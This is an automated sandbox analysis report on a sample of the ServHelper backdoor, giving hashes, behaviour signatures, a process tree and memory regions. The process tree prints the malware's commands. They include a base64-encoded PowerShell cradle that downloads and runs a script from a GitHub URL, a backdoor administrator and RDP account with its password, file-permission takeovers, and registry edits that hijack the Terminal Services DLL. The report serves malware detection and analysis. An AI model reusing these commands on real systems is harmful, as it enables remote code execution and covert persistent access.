Analysis

  • max time kernel
    138s
  • max time network
    86s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    01-10-2021 09:04

General

  • Target

    c1e0df4f2321e9375baee3a0a26fba64.exe

  • Size

    5.7MB

  • MD5

    c1e0df4f2321e9375baee3a0a26fba64

  • SHA1

    dcf4d90d2f3fd11f14b5413be5b7dde70ff33f7c

  • SHA256

    65a112982cc0d4e56c078c5333ed3553905bf4f3a639f2ff6e056ab518b6290e

  • SHA512

    4bc74603d8a7a28a0c965cb78d7762c01312cdb6ee7d8be8f822ebb6bf3dbd273ac76c3ad5d0c70f9fa9439981c19a9bed4525f445d7faddb93e9db5a66a0ad7

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c1e0df4f2321e9375baee3a0a26fba64.exe
    "C:\Users\Admin\AppData\Local\Temp\c1e0df4f2321e9375baee3a0a26fba64.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1120
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1600
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fehk4zp4\fehk4zp4.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1720
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1AB0.tmp" "c:\Users\Admin\AppData\Local\Temp\fehk4zp4\CSC4EB65C5F36654EED8D7D5A7CB2A1F3A.TMP"
          4⤵
            PID:1588
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:984
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1116
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:624
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:748
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1304
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1812
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1840
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1572
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2004
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1836
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1588
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2008
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1516
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1616
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1828
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1716
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:820
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1732
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1636
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1624
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1048
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1692
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1908
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1040
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1840
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1144
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1620
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:796
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:676
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc S1ihVIKg /add
                                  1⤵
                                    PID:1296
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc S1ihVIKg /add
                                      2⤵
                                        PID:1816
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc S1ihVIKg /add
                                          3⤵
                                            PID:2040
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1836
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:2008
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1516
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              1⤵
                                                PID:1576
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  2⤵
                                                    PID:964
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                      3⤵
                                                        PID:832
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1612
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:960
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1328
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc S1ihVIKg
                                                          1⤵
                                                            PID:1668
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc S1ihVIKg
                                                              2⤵
                                                                PID:1840
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc S1ihVIKg
                                                                  3⤵
                                                                    PID:1144
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:2040
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1392
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1288
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:964
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1036
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:960
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1328

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/624-156-0x000000001AA74000-0x000000001AA76000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/624-155-0x000000001AA70000-0x000000001AA72000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/984-101-0x0000000002370000-0x0000000002371000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/984-121-0x000000001BD40000-0x000000001BD41000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/984-120-0x000000001BC30000-0x000000001BC31000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/984-107-0x000000001BC80000-0x000000001BC81000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/984-94-0x000000001A900000-0x000000001A902000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/984-95-0x000000001A904000-0x000000001A906000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/984-96-0x000000001A8A0000-0x000000001A8A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/984-98-0x000000001B740000-0x000000001B741000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/984-100-0x000000001A980000-0x000000001A981000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1116-129-0x00000000026B4000-0x00000000026B6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1116-134-0x000000001B740000-0x000000001B741000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1116-132-0x000000001B830000-0x000000001B831000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1116-130-0x0000000002400000-0x0000000002401000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1116-128-0x00000000026B0000-0x00000000026B2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1116-135-0x0000000001ED0000-0x0000000001ED1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1120-64-0x0000000040FB6000-0x0000000040FB7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1120-60-0x0000000041430000-0x000000004182F000-memory.dmp

                                                                        Filesize

                                                                        4.0MB

                                                                      • memory/1120-65-0x0000000040FB7000-0x0000000040FB8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1120-63-0x0000000040FB4000-0x0000000040FB6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1120-62-0x0000000040FB2000-0x0000000040FB4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1328-237-0x000000001965A000-0x0000000019679000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1328-205-0x0000000019650000-0x0000000019652000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1328-207-0x0000000019654000-0x0000000019656000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1600-70-0x00000000023C0000-0x00000000023C1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1600-68-0x0000000002260000-0x0000000002261000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1600-102-0x000000001AC0A000-0x000000001AC29000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1600-87-0x00000000026D0000-0x00000000026D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1600-86-0x000000001C1A0000-0x000000001C1A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1600-85-0x000000001B780000-0x000000001B781000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1600-157-0x000000001CB90000-0x000000001CB91000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1600-75-0x000000001B6B0000-0x000000001B6B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1600-73-0x000000001AC04000-0x000000001AC06000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1600-72-0x000000001AC00000-0x000000001AC02000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1600-71-0x0000000002590000-0x0000000002591000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1600-83-0x00000000023B0000-0x00000000023B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1600-67-0x000007FEFB681000-0x000007FEFB683000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1600-69-0x000000001AC80000-0x000000001AC81000-memory.dmp

                                                                        Filesize

                                                                        4KB